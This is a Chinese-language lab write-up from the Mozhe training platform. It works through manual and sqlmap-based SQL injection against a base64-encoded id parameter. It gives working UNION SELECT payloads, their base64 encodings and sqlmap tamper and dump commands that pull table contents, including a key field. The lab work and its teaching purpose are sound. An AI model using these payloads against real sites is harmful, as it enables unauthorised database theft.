墨者-SQL注入实战-MySQL(手工注入)

Background

网站维护人员在WEB目录中放了一个可能存在漏洞的页面。
安全工程师“墨者”负责对该页面进行安全测试,看是否存在安全漏洞影响网站及服务器的运行。

  1. 了解并熟练使用手工SQL注入;
  2. 了解MySQL的相关知识;
  3. 了解SQLMAP的使用及其tamper插件的使用;
  4. 了解base64编码及解码。

判断注入点

打开页面链接
image

观察url

1
http://219.153.49.228:43444/show.php?id=MQo=

发现id的参数值MQo=是通过base64编码的1;
即,id参数发送给服务器的值是需要经过base64编码的

先对url进行简单的sql注入判断(base64编码)

1
2
3
1 and 1 = 1   MSBhbmQgMSA9IDE=  正常显示

1 and 1 = 2 MSBhbmQgMSA9IDI= 页面不显示

这样一来可以判断出该页面是存在sql注入的

我们可以通过手工注入,也可以通过工具自动化注入

手工注入

先判断select语句中的列字段个数
可以用ordre by语句

1
2
3
4
5
1 order by 1   MSBvcmRlciBieSAx   正常

1 order by 2 MSBvcmRlciBieSAy 正常

1 order by 3 MSBvcmRlciBieSAz 不正常

判断出select语句中的列字段数为2个

构造语句

1
2
http://219.153.49.228:43444/show.php?id=0 union select 1,2   (以下是编码后的参数)
http://219.153.49.228:43444/show.php?id=MCB1bmlvbiBzZWxlY3QgMSwy

“0”的作用是让前面报错,让后面联合查询的内容得以显示
image

接下来是查询数据库的相关信息(查询数据库名和版本信息)

1
2
http://219.153.49.228:43444/show.php?id=0 union select database(),version()   
http://219.153.49.228:43444/show.php?id=MCB1bmlvbiBzZWxlY3QgZGF0YWJhc2UoKSx2ZXJzaW9uKCk=

image
查询到数据库名是test

查询数据库表名

1
2
3
4
http://219.153.49.228:43444/show.php?id=0 union select group_concat(table_name),null from information_schema.tables where table_schema ='test'
http://219.153.49.228:43444/show.php?id=MCB1bmlvbiBzZWxlY3QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLG51bGwgZnJvbSBpbmZvcm1h
dGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYSA9J3Rlc3Qn
(语句也可写成0 union select table_name,null from information_schema.tables where table_schema ='test' limit 0,1)

image
查询出数据库表名data

查询test.data表中的列

1
2
3
4
http://219.153.49.228:43444/show.php?id=0 union select group_concat(column_name),null from information_schema.columns where table_schema ='test' and table_name='data'
http://219.153.49.228:43444/show.php?id=MCB1bmlvbiBzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSxudWxsIGZyb20gaW5mb3Jt
YXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hID0ndGVzdCcgYW5kIHRhYmxl
X25hbWU9J2RhdGEn

image

查询到列名id,title,main,thekey

通过数据库表名查询字段内容

1
2
http://219.153.49.228:43444/show.php?id=0 union select main,thekey from test.data
http://219.153.49.228:43444/show.php?id=MCB1bmlvbiBzZWxlY3QgbWFpbix0aGVrZXkgZnJvbSB0ZXN0LmRhdGE=

image

sqlmap自动化注入

先简单测试
用tamper参数加载脚本 (脚本在sqlmap/tamper文件中)

1
sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch

image
没有发现注入点,尝试提高扫描强度

1
sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2

image
发现注入点了,就直接进行爆库

爆数据库名

1
sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 --dbs

爆数据库表名

1
sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test --tables

爆列名

1
sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test -T data --columns

爆字段内容

1
sqlmap.py -u "http://219.153.49.228:43444/show.php?id=MQo=" --tamper="base64encode.py" --batch --level 2 -D test -T data -C thekey --dump

image